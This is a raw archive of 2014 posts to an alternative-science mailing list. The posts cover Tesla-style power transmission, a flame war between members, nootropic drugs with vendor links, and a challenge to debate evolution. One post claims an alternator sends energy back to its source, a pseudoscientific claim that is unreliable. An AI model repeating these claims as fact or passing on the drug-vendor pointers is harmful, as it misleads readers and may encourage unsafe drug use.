between adjacent second= aries in the phase rotation occurs whereby the combined secondary emfs on t= he ending of the phase rotation completely oppose the primaries magnetic fi= eld, and thereby its amperage.=0Ahttp://www.flickr.com/photos/harvich/12493= 185733/=0Ahttp://www.flickr.com/photos/harvich/12493133615/=0AThe opposite = pulsing of each secondary source combined together as a meter reading =0A33= 2 volt seriesed output taken from "cyclic" secondaries=0Aat no field inpu= t to alternator.=0ATaken from the you tube video=0A=0Ahttp://www.flickr.com= /photos/harvich/12493457914/=0AI have a special=A0 dual bus alternator larg= er machine that allows me to run two three phase processes at any desired p= hase angle between them.=A0 Thus it should be possible to engineer these AC= superimposed pulses to instead occur near ten hertz, which is said to be t= he resonant frequency of the earth itself.=0AHDN=0A=0A=0A=A0=0APioneering t= he Applications of Interphasal Resonances http://tech.groups.yahoo.com/grou= p/teslafy/=0A=0A=0A=0AOn Wednesday, February 12, 2014 12:59 PM, Terry Blant= on wrote:=0A =0AGoogle is your friend.=A0 Enjoy=A0 htt= p://goo.gl/Q0XOwr=0A=0AOn Wed, Feb 12, 2014 at 8:42 AM, Jeff Fink wrote:=0A>=0A>=0A> We all know about Tesla's claim to be able to tr= ansmit power great=0A> distances, and we have some idea of what the transmi= tter was to look like,=0A> but what was the receiver supposed to look like?= =A0 You would need to receive=0A> the power on some kind of device.=A0 Any = ideas?=0A>=0A>=0A>=0A>=0A>=0A> ---140725594-803420048-1392328143=:22481 Content-Type: text/html; charset=iso-8859-1 Content-Transfer-Encoding: quoted-printable
It is possible to create a voltage vector that rotates in tim= e so that essentially a heterodyning effect is made where  the only ma= chine constructed to show this effect is known as the 666 machine. Every 24= cycles out of a total of 465 cycles per second this circling "separated" m= agnetic field reacts with its input where situations are somewhat easily en= gineering whereby a portion of the normal alternator function as a generato= r is reversed and instead a portion of the machine begins to work backwards= , instead propelling electrical energy back to its source, whereby this add= itional voltage then registers on the phase being affected.
http://www.f= lickr.com/photos/harvich/8291688443/
A "third" magnetic interaction betw= een adjacent secondaries in the phase rotation occurs whereby the combined secondary emfs on the ending of the phase rotation completely opp= ose the primaries magnetic field, and thereby its amperage.
http://www.f= lickr.com/photos/harvich/12493185733/
http://www.flickr.com/photos/harvi= ch/12493133615/
The opposite pulsing of each secondary source combined t= ogether as a meter reading
332 volt seriesed output taken from "cycli= c" secondaries=0Aat no field input to alternator.
Taken from the you tub= e video

http://www.flickr.com/photos/harvich/12493457914/
I have = a special  dual bus alternator larger machine that allows me to run tw= o three phase processes at any desired phase angle between them.  Thus= it should be possible to engineer these AC superimposed pulses to instead = occur near ten hertz, which is said to be the resonant frequency of the ear= th itself.
HDN

 
Pion= eering the Applications of Interphasal Resonances http://tech.groups.yahoo.= com/group/teslafy/


On Wednesday, February 12, 2014 12:59 PM, Terry Blanton <hohlraum@gmail.com> wrote= :
Google is your friend.=   Enjoy  http://goo.gl/Q0XOwr<= br>
On Wed, Feb 12, 2014 at 8:42 AM, Jeff Fink <revtec@ptd.net> wrote:
>
>> We all know about Tesla's claim to be able to transmit power great> distances, and we have some idea of what the transmitter was to look = like,
> but what was the receiver supposed to look like?  You wo= uld need to receive
> the power on some kind of device.  Any ide= as?
>
>
>
>
>
>



=
---140725594-803420048-1392328143=:22481-- From vortexb-l-request@eskimo.com Tue Mar 4 15:41:46 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.2 (2011-06-06) on mx2.eskimo.com X-Spam-Level: X-Spam-Status: No, score=0.8 required=5.0 tests=BAYES_50,NO_RELAYS,SPF_PASS autolearn=ham version=3.3.2 X-Original-To: billb@eskimo.com Delivered-To: billb@eskimo.com Received: by mx2.eskimo.com (Postfix, from userid 36987) id 4F625F9F; Tue, 4 Mar 2014 15:41:46 -0800 (PST) Old-Return-Path: X-Original-To: vortexb-l@eskimo.com Delivered-To: vortexb-l@eskimo.com Received-SPF: pass (resist.ca: 199.58.80.142 is authorized to use 'grok@resist.ca' in 'mfrom' identity (mechanism 'ptr' matched)) receiver=mx2.eskimo.com; identity=mailfrom; envelope-from="grok@resist.ca"; helo=shell.resist.ca; client-ip=199.58.80.142 Date: Tue, 4 Mar 2014 15:40:24 -0800 From: grok To: vortexb-l@eskimo.com Subject: Re: [VoB]:Tesla Receiver Message-ID: <20140304234024.GA4497@shell.resist.ca> Reply-To: grok@resist.ca References: MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Disposition: inline In-Reply-To: X-Operating-System: Linux x86_64 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0xB862B533 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 30D9 E911 F97F B9D0 E308 7DB5 07D6 D72C B862 B533 X-Echelon: USS Hopper, Rwanda, 1RAR, captain, gun squad User-Agent: Mutt/1.5.21 (2010-09-15) Resent-Message-ID: <0DZKYjgNeWB.A.RtE.6SmFTB@mx2.eskimo.com> Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4711 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Resent-Date: Tue, 4 Mar 2014 15:41:46 -0800 (PST) X-Virus-Scanned: clamav-milter 0.98.1 at mx2.eskimo.com X-Virus-Status: Clean Status: O X-Status: X-Keywords: X-UID: 952 As the smoke cleared, LORENHEYER@aol.com mounted the barricade and roared out: > Tesla is a crock, so try to get over it. The only thing worth persuing is > genuine UFO Technology, and by the time you figure that out, human beings > will be as obsolete or extinct as the Dinosaur. Troll. -- The Financiers & Banksters have looted untold trillions of our future earnings. Their bureaucratic police & military goons are here to make us all pay for it. Forever. Well FORGET THAT. Let's get it *ALL* back from them -- and more. **Socialist revolution NOW!!** Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. And beware the 'bait & switch' fraud: "Social Justice" is NOT *Socialism*... From vortexb-l-request@eskimo.com Tue Mar 4 17:15:51 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.2 (2011-06-06) on mx2.eskimo.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00,NO_RELAYS,SPF_PASS autolearn=ham version=3.3.2 X-Original-To: billb@eskimo.com Delivered-To: billb@eskimo.com Received: by mx2.eskimo.com (Postfix, from userid 36987) id 1B4A710C6; Tue, 4 Mar 2014 17:15:51 -0800 (PST) Old-Return-Path: X-Original-To: vortexb-l@eskimo.com Delivered-To: vortexb-l@eskimo.com Received-SPF: pass (resist.ca: 199.58.80.142 is authorized to use 'grok@resist.ca' in 'mfrom' identity (mechanism 'ptr' matched)) receiver=mx2.eskimo.com; identity=mailfrom; envelope-from="grok@resist.ca"; helo=shell.resist.ca; client-ip=199.58.80.142 Date: Tue, 4 Mar 2014 17:14:30 -0800 From: grok To: vortexb-l@eskimo.com Subject: Re: [VoB]:Tesla Receiver Message-ID: <20140305011430.GB4497@shell.resist.ca> Reply-To: grok@resist.ca References: <20140304234024.GA4497@shell.resist.ca> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Disposition: inline In-Reply-To: X-Operating-System: Linux x86_64 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0xB862B533 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 30D9 E911 F97F B9D0 E308 7DB5 07D6 D72C B862 B533 X-Echelon: USS Hopper, Rwanda, 1RAR, captain, gun squad User-Agent: Mutt/1.5.21 (2010-09-15) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4712 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Resent-Date: Tue, 4 Mar 2014 17:15:51 -0800 (PST) X-Virus-Scanned: clamav-milter 0.98.1 at mx2.eskimo.com X-Virus-Status: Clean Status: O X-Status: X-Keywords: X-UID: 953 As the smoke cleared, Terry Blanton mounted the barricade and roared out: > Who left the door open? You KNOW there's no 'door' on Vortex-L B... -- grok. > On Tue, Mar 4, 2014 at 6:40 PM, grok wrote: > > > Troll. -- The Financiers & Banksters have looted untold trillions of our future earnings. Their bureaucratic police & military goons are here to make us all pay for it. Forever. Well FORGET THAT. Let's get it *ALL* back from them -- and more. **Socialist revolution NOW!!** Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. And beware the 'bait & switch' fraud: "Social Justice" is NOT *Socialism*... From vortexb-l-request@eskimo.com Wed Mar 5 07:04:16 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.2 (2011-06-06) on mx1.eskimo.com X-Spam-Level: X-Spam-Status: No, score=-1.1 required=5.0 tests=BAYES_00,DKIM_SIGNED, DKIM_VALID,HELO_NO_DOMAIN,RDNS_NONE,SPF_PASS autolearn=no version=3.3.2 X-Original-To: billb@eskimo.com Delivered-To: billb@eskimo.com Received: by mx1.eskimo.com (Postfix, from userid 36987) id 4C8052356; Wed, 5 Mar 2014 07:04:16 -0800 (PST) Old-Return-Path: X-Original-To: vortexb-l@eskimo.com Delivered-To: vortexb-l@eskimo.com Received-SPF: pass (aol.com: 205.188.252.208 is authorized to use 'LORENHEYER@aol.com' in 'mfrom' identity (mechanism 'ptr:mx.aol.com' matched)) receiver=mx1.eskimo.com; identity=mailfrom; envelope-from="LORENHEYER@aol.com"; helo=omr-d01.mx.aol.com; client-ip=205.188.252.208 From: LORENHEYER@aol.com Full-name: LORENHEYER Message-ID: Date: Wed, 5 Mar 2014 11:12:14 -0500 (EST) Subject: Re: [VoB]:Tesla Receiver To: vortexb-l@eskimo.com MIME-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit X-Mailer: AOL 4.0 for Windows sub 29 X-Originating-IP: [63.3.14.130] x-aol-global-disposition: G DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=mx.aol.com; s=20121107; t=1394035934; bh=2+HAreWzXxHAlPIKM99YA4sRy49N/mI/T4f2jpSw/jA=; h=From:To:Subject:Message-ID:Date:MIME-Version:Content-Type; b=ypZ07julFkM5xgwlSamD1/W4AVsls/989msBLPRvxWLbMnVoyQllAdEYz//seIw/C jKmPwAIX6I+uKkjCcrTdbEWjYS4X5hY1bEZ9vKZHYLGaxGhMEL+HaFDIqUMJNu3LJp K83nvLITqlzX5fSys8MBrWssgmJNWkH/DM4l782Y= x-aol-sid: 3039ac1afe6f53174cde66bc Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4713 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Resent-Date: Wed, 5 Mar 2014 07:04:16 -0800 (PST) X-Virus-Scanned: clamav-milter 0.98.1 at mx1.eskimo.com X-Virus-Status: Clean Status: O X-Status: X-Keywords: X-UID: 954 Message from grok@resist.ca << As the smoke cleared, Terry Blanton mounted the barricade and roared out: > Who left the door open? You KNOW there's no 'door' on Vortex-L B... >> Crock sure got that right. From vortexb-l-request@eskimo.com Wed Mar 5 08:13:46 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.2 (2011-06-06) on mx2.eskimo.com X-Spam-Level: X-Spam-Status: No, score=-1.1 required=5.0 tests=BAYES_00,DKIM_SIGNED, DKIM_VALID,HELO_NO_DOMAIN,RDNS_NONE,SPF_PASS autolearn=no version=3.3.2 X-Original-To: billb@eskimo.com Delivered-To: billb@eskimo.com Received: by mx2.eskimo.com (Postfix, from userid 36987) id ADA831128; Wed, 5 Mar 2014 08:13:46 -0800 (PST) Old-Return-Path: X-Original-To: vortexb-l@eskimo.com Delivered-To: vortexb-l@eskimo.com Received-SPF: pass (aol.com: 64.12.143.78 is authorized to use 'LORENHEYER@aol.com' in 'mfrom' identity (mechanism 'ptr:mx.aol.com' matched)) receiver=mx2.eskimo.com; identity=mailfrom; envelope-from="LORENHEYER@aol.com"; helo=omr-m04.mx.aol.com; client-ip=64.12.143.78 From: LORENHEYER@aol.com Full-name: LORENHEYER Message-ID: Date: Wed, 5 Mar 2014 11:13:43 -0500 (EST) Subject: Re: [VoB]:Tesla Receiver To: vortexb-l@eskimo.com MIME-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit X-Mailer: AOL 4.0 for Windows sub 29 X-Originating-IP: [63.3.14.130] x-aol-global-disposition: G DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=mx.aol.com; s=20121107; t=1394036024; bh=9U8fvwNJjgW1ixBGnTyFyAJRVX8h3uJM8zY/SktjySk=; h=From:To:Subject:Message-ID:Date:MIME-Version:Content-Type; b=skdsLPsImegKcng2QRp3c1Dh7iMMAJC5RkOEvc1pTVR1dKjXxPhIqsgKf8FGzZlye tqQ3MLbHstBSZNmvAJhl8AzlB32oLcuCnjcquu35r4fXeR4weV7ohuCuaaMyKLl7w+ twsE/J50PO/5NHelmidAuieJQIdsmMcK2GAXkcKg= x-aol-sid: 3039ac1afeb053174d37457e Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4714 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Resent-Date: Wed, 5 Mar 2014 08:13:46 -0800 (PST) X-Virus-Scanned: clamav-milter 0.98.1 at mx2.eskimo.com X-Virus-Status: Clean Status: O X-Status: X-Keywords: X-UID: 955 Message from grok@resist.ca << As the smoke cleared, LORENHEYER@aol.com mounted the barricade and roared out: > Tesla is a crock, so try to get over it. The only thing worth persuing is genuine UFO Technology, and by the time you figure that out, human beings will be as obsolete or extinct as the Dinosaur. Troll >> If I'm a Troll, then Crock is a Mole. From vortexb-l-request@eskimo.com Wed Mar 5 18:29:00 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.2 (2011-06-06) on mx1.eskimo.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00,NO_RELAYS,SPF_PASS autolearn=ham version=3.3.2 X-Original-To: billb@eskimo.com Delivered-To: billb@eskimo.com Received: by mx1.eskimo.com (Postfix, from userid 36987) id 0FF142379; Wed, 5 Mar 2014 18:29:00 -0800 (PST) Old-Return-Path: X-Original-To: vortexb-l@eskimo.com Delivered-To: vortexb-l@eskimo.com Received-SPF: pass (resist.ca: 199.58.80.142 is authorized to use 'grok@resist.ca' in 'mfrom' identity (mechanism 'ptr' matched)) receiver=mx1.eskimo.com; identity=mailfrom; envelope-from="grok@resist.ca"; helo=shell.resist.ca; client-ip=199.58.80.142 Date: Wed, 5 Mar 2014 19:35:37 -0800 From: grok To: vortexb-l@eskimo.com Subject: Re: [VoB]:Tesla Receiver Message-ID: <20140306033537.GB12779@shell.resist.ca> Reply-To: grok@resist.ca References: MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Disposition: inline In-Reply-To: X-Operating-System: Linux x86_64 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0xB862B533 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 30D9 E911 F97F B9D0 E308 7DB5 07D6 D72C B862 B533 X-Echelon: trillion cubic feet, TSG, Scud A, ZnTe, nonac User-Agent: Mutt/1.5.21 (2010-09-15) Resent-Message-ID: <96x_if9sLAC.A.UIE.r19FTB@mx1.eskimo.com> Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4715 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Resent-Date: Wed, 5 Mar 2014 18:29:00 -0800 (PST) X-Virus-Scanned: clamav-milter 0.98.1 at mx1.eskimo.com X-Virus-Status: Clean Status: O X-Status: X-Keywords: X-UID: 956 As the smoke cleared, LORENHEYER@aol.com mounted the barricade and roared out: > If I'm a Troll, then you're a Mole. I'm not the one slagging Nikola Tesla here. Fuck off, troll. -- The Financiers & Banksters have looted untold trillions of our future earnings. Their bureaucratic police & military goons are here to make us all pay for it. Forever. Well FORGET THAT. Let's get it *ALL* back from them -- and more. **Socialist revolution NOW!!** Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. And beware the 'bait & switch' fraud: "Social Justice" is NOT *Socialism*... From vortexb-l-request@eskimo.com Thu May 1 04:19:57 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.2 (2011-06-06) on mx1.eskimo.com X-Spam-Level: *** X-Spam-Status: No, score=3.2 required=5.0 tests=BAYES_50,HTML_MESSAGE, NO_RELAYS,PYZOR_CHECK,SPF_PASS autolearn=no version=3.3.2 X-Original-To: billb@eskimo.com Delivered-To: billb@eskimo.com Received: by mx1.eskimo.com (Postfix, from userid 36987) id 61EFB36F9; Thu, 1 May 2014 04:19:57 -0700 (PDT) Old-Return-Path: X-Original-To: vortexb-l@eskimo.com Delivered-To: vortexb-l@eskimo.com Received-SPF: pass (ptd.net: 204.186.204.107 is authorized to use 'revtec@ptd.net' in 'mfrom' identity (mechanism 'ip4:204.186.204.0/24' matched)) receiver=mx1.eskimo.com; identity=mailfrom; envelope-from="revtec@ptd.net"; helo=proxyz15.mailnet.ptd.net; client-ip=204.186.204.107 X-Virus-Scanned: amavisd-new at proxyz15.mailnet.ptd.net From: "Jeff Fink" To: Date: Thu, 1 May 2014 06:19:55 -0500 Message-ID: <008201cf652f$4823d590$d86b80b0$@ptd.net> MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_0083_01CF6505.5F4DCD90" X-Mailer: Microsoft Outlook 15.0 Thread-Index: Ac9lLpzVO56JvlaoRwKbLMoDLFi5NQ== Content-Language: en-us Resent-Message-ID: <90-S81WxNhD.A.P4C.d3iYTB@mx1.eskimo.com> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4716 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Subject: [VoB]:B field Resent-Date: Thu, 1 May 2014 04:19:57 -0700 (PDT) Status: O X-Status: X-Keywords: X-UID: 957 This is a multipart message in MIME format. ------=_NextPart_000_0083_01CF6505.5F4DCD90 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Has anyone come across a computer graphic animation of B field propagation in a coil of wire during extreme transient conditions? ------=_NextPart_000_0083_01CF6505.5F4DCD90 Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable

Has anyone come across a computer graphic animation of = B field propagation in a coil of wire during extreme transient = conditions?

------=_NextPart_000_0083_01CF6505.5F4DCD90-- From vortexb-l-request@eskimo.com Fri Aug 29 10:29:38 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.2 (2011-06-06) on mx2.eskimo.com X-Spam-Level: **** X-Spam-Status: No, score=4.9 required=5.0 tests=BAYES_50,DKIM_ADSP_CUSTOM_MED, DKIM_SIGNED,FROM_EXCESS_BASE64,HTML_MESSAGE,HTTPS_HTTP_MISMATCH,NO_RELAYS, SPF_PASS,T_DKIM_INVALID autolearn=no version=3.3.2 X-Original-To: billb@eskimo.com Delivered-To: billb@eskimo.com Received: by mx2.eskimo.com (Postfix, from userid 36987) id CEA913811; Fri, 29 Aug 2014 10:29:38 -0700 (PDT) Old-Return-Path: X-Original-To: vortexb-l@eskimo.com Delivered-To: vortexb-l@eskimo.com Received-SPF: pass (gmail.com ... _spf.google.com: Sender is authorized to use 'hohlraum@gmail.com' in 'mfrom' identity (mechanism 'include:_netblocks.google.com' matched)) receiver=mx2.eskimo.com; identity=mailfrom; envelope-from="hohlraum@gmail.com"; helo=mail-qg0-f50.google.com; client-ip=209.85.192.50 DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=message-id:to:from:subject:date:mime-version:content-type; bh=XmC9c3G8/0G3KiITY5UoFsW6CY4r/Q5owXtTB+jELWg=; b=yE8/DcHUUVEiZdGgsdh0hU9db0F/TgEJj6SZoHASzKbitjy2/EI+4Wv7UkrSbSzZ14 vZIPYjHsr7KVmZ1gZJzkmOX2ZwLrzeE+ywT393T4gcRpdbBNIvLeNobr7QfQOjfOKGPE JeSFtzFEbV7o6lQZ+beVCIlIsk306joAebeOhKuPsHrlRgFwjEjCKHiOenerp5jcm7dw rFWooC8ZBJTwAMzP+TRieSzduRsvggAD0O1AjH+12z+YVLTvum/M/MlO5IWuXnSsqSEt lnpXAGN5Zkin3A/x4sgWs3PF6/dZ8TE0XygO1LRxdti22hcNuo2FIzNUw+ePHkTQBtcQ GZMg== X-Received: by 10.140.91.229 with SMTP id z92mr19143312qgd.8.1409333377332; Fri, 29 Aug 2014 10:29:37 -0700 (PDT) Message-ID: <5400b880.8a7de00a.6040.2abe@mx.google.com> To: "=?utf-8?B?dm9ydGV4Yi1sQGVza2ltby5jb20=?=" From: "=?utf-8?B?aG9obHJhdW1AZ21haWwuY29t?=" Date: Fri, 29 Aug 2014 13:29:35 -0400 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_Part_0_1409333375840" Resent-Message-ID: <4DlEZIYq5cG.A.qsE.CiLAUB@mx2.eskimo.com> Resent-From: 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P91+fLx2uARASHjeslWBwAqB8hGMwemI9fp1LR4JeqskCWZZpX+UH5kY5Uv1TUJ4uXnQ l+6RgjrWH+8zKOB771h5ZUSWws/YfT+MVgtidZKNQiWr3G3W42aQIxdMyClFiOUf48G4 4lyZqvap6NJLFCSVxKk1dewLFWOezh6ViEwcJy3z2pq9MnB2xV4xNVUEH8d4tJ3vl/p8 QYZA== MIME-Version: 1.0 X-Received: by 10.112.149.36 with SMTP id tx4mr12415571lbb.79.1409339009003; Fri, 29 Aug 2014 12:03:29 -0700 (PDT) Date: Fri, 29 Aug 2014 15:03:28 -0400 Message-ID: From: Terry Blanton To: "vortexb-l@eskimo.com" Content-Type: text/plain; charset=UTF-8 Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4718 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Subject: [VoB]:Limitless Resent-Date: Fri, 29 Aug 2014 12:03:31 -0700 (PDT) Status: RO X-Status: X-Keywords: X-UID: 959 (Note: this post is appearing on vortexb where anything goes. You will see this unless you unsubscribe from vortexb by sending 'unsubscribe' in the subject header [less quotes] to vortexb-l-request@eskimo.com) http://www.imdb.com/title/tt1219289/ A 2011 movie with Bradley Cooper "With the help of a mysterious pill that enables the user to access 100 percent of his brain abilities, a struggling writer becomes a financial wizard, but it also puts him in a new world with lots of dangers." An interesting movie, rated 7.4/10 by over 300,000 viewers. But did you know that just such enhancers are available today? They are called nootropics: http://en.wikipedia.org/wiki/Nootropic Some are prescription drugs and schedule I drugs which are on the news; but, some result from research on chemicals to treat brain diseases. One fairly recent example was created by the Russians to treat Alzheimer's: http://en.wikipedia.org/wiki/Noopept Available from: https://liftmode.com/ or https://newmind.com/ none of these are recommended for daily use; but, they are finding markets in academia and wall street just like in the movie, Limitless. From vortexb-l-request@eskimo.com Sun Aug 31 15:08:16 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.2 (2011-06-06) on mx2.eskimo.com X-Spam-Level: X-Spam-Status: No, score=0.9 required=5.0 tests=BAYES_50,DKIM_ADSP_CUSTOM_MED, DKIM_SIGNED,NO_RELAYS,SPF_PASS,T_DKIM_INVALID autolearn=no version=3.3.2 X-Original-To: billb@eskimo.com Delivered-To: billb@eskimo.com Received: by mx2.eskimo.com (Postfix, from userid 36987) id 4240037AB; Sun, 31 Aug 2014 15:08:16 -0700 (PDT) Old-Return-Path: X-Original-To: vortexb-l@eskimo.com Delivered-To: vortexb-l@eskimo.com Received-SPF: pass (gmail.com ... _spf.google.com: Sender is authorized to use 'hohlraum@gmail.com' in 'mfrom' identity (mechanism 'include:_netblocks.google.com' matched)) receiver=mx2.eskimo.com; identity=mailfrom; envelope-from="hohlraum@gmail.com"; helo=mail-la0-f45.google.com; client-ip=209.85.215.45 DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :content-type; bh=TH6cQaCnu1+VtapyGGlLkgx5lQrHT83ValFsDwz4smQ=; b=YoXOX6baWKMg69jHvOMMPdyahM/n+Y3s0qdjJaZowdVW1tsfgzKXePhnZAtcmYKneT 04DnaVSwMGR+//Z0Vllwg1fmzmrQsa7kgxb+14P22ft3X/WfONx1AME3iL4yi+BQiImG VcqnywRXZah4clTWOp6C4AjNZa9cfw5aLD+0DdA1mjMijX7IblgAZuqoJfCI+HtumHXD EepPdpkodzVDszEkBJIInrjpHsH7oWJVnbBoUBFeeusodR8lQ0x/JHQRErMO5P28yOSi Si93MBjOgEjqZeFkx//MhQ7A261HMRKRP7p5DWZVYdU7U+wBF0RmnvmAq+6NINwbEvcp reDw== MIME-Version: 1.0 X-Received: by 10.112.130.41 with SMTP id ob9mr2472954lbb.12.1409522893949; Sun, 31 Aug 2014 15:08:13 -0700 (PDT) In-Reply-To: <900F17DE58024E069632DC9FEC599D28@msi> References: <900F17DE58024E069632DC9FEC599D28@msi> Date: Sun, 31 Aug 2014 18:08:13 -0400 Message-ID: From: Terry Blanton To: "vortexb-l@eskimo.com" Content-Type: text/plain; charset=UTF-8 Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4719 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Subject: [VoB]:Re: [Vo]:Anyone want to debate Darwinian Evolution with me in VortexB Resent-Date: Sun, 31 Aug 2014 15:08:16 -0700 (PDT) Status: RO X-Status: X-Keywords: X-UID: 960 I have responded on vortexb; so, just hit reply to my message to respond on that list. On Sun, Aug 31, 2014 at 1:48 PM, Jojo Iznart wrote: > Folks, things are slow here, but some crybabies are complaining that I am > cluttering VortexL, burdening them and imposing on them. So, I am not > going to start a new Darwinian Evolution thread here. > > But, I am issuing a challenge to anyone who thinks they understand Darwinian > Evolution better than me, to please show up in VortexB and debate it with > me. Heck, you have "thousands of books" with "irrefutable proof"; so > dispatching me with your "well-informed" retorts should be easy. You should > be able to dismantle my "fairy-land" arguments quickly. > > So, how about it, any takers? (Jed?, Nigel?, James?, Lixa?, jwinter?, > Sunil?, Rocha?, Ian Walker?) Anyone willing to give it a try to silence me > and a chance to embarrass me and put me back into my fairyland? > > Please indicate your willingness to participate in VortexB, by responding on > this thread. If there are enough people accepting my challenge, I will get > the ball rolling by posting on Irreducible Complexity. Or, you can start > the ball rolling by posting a Darwinian Evolution topic of your choice in > VortexB. Don't start the discussion here, lest we "burden" and "impose" on > the deep thinking and meditation of some people. > > If you don't accept my challenge, please have enough integrity to forever > not refer to my beliefs as a fairytale. Fair Enough? Put up or shut up. > > Oh, please don't hide behind your "I don't want to waste time" or "I don't > want to debate cause that will only give them some credibility" nonsense. I > am mocking your beliefs. I am mocking the stupidity of Darwinian Evolution > and questioning the intelligence of those who believe in it.. Stand up and > defend it with your honor. Let's have fun!!! > > > > > > Jojo > > From vortexb-l-request@eskimo.com Sun Aug 31 16:15:00 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.2 (2011-06-06) on mx2.eskimo.com X-Spam-Level: X-Spam-Status: No, score=0.1 required=5.0 tests=BAYES_40,DKIM_SIGNED,NO_RELAYS, T_DKIM_INVALID autolearn=no version=3.3.2 X-Original-To: billb@eskimo.com Delivered-To: billb@eskimo.com Received: by mx2.eskimo.com (Postfix, from userid 36987) id BCA34382A; Sun, 31 Aug 2014 16:15:00 -0700 (PDT) Old-Return-Path: X-Original-To: vortexb-l@eskimo.com Delivered-To: vortexb-l@eskimo.com Received-SPF: none (cosmicpenguin.com: No applicable sender policy available) receiver=mx2.eskimo.com; identity=mailfrom; envelope-from="mark@cosmicpenguin.com"; helo=qmta14.emeryville.ca.mail.comcast.net; client-ip=76.96.27.212 Date: Sun, 31 Aug 2014 16:15:01 -0700 From: Mark S Bilk To: vortexb-l@eskimo.com Cc: Terry Blanton , Jojo Iznart Subject: Re: [VoB]:Re: [Vo]:Anyone want to debate Darwinian Evolution with me in VortexB Message-ID: <20140831231501.GE20137@isis> References: <900F17DE58024E069632DC9FEC599D28@msi> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: Organization: http://cosmicpenguin.com User-Agent: Mutt/1.5.20 (2009-06-14) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=comcast.net; s=q20140121; t=1409526900; bh=4Kp5Kjs6hBl/okupWnD8fCGrYsr+iNxVQTFmEUQ3fhg=; h=Received:Received:Received:Date:From:To:Subject:Message-ID: MIME-Version:Content-Type; b=EjYiR5lz3yTQUvIsGZEzCxZYcnmCHnmkL1Zs/2RmG41EV5d4u6xdS9Yy8QXIvHidW fui4UqQ1oYP5nbg930CSZGCCguk98sWlpyyE7xgno7Tal0RG/HBuuuBerLBUdyDMeE 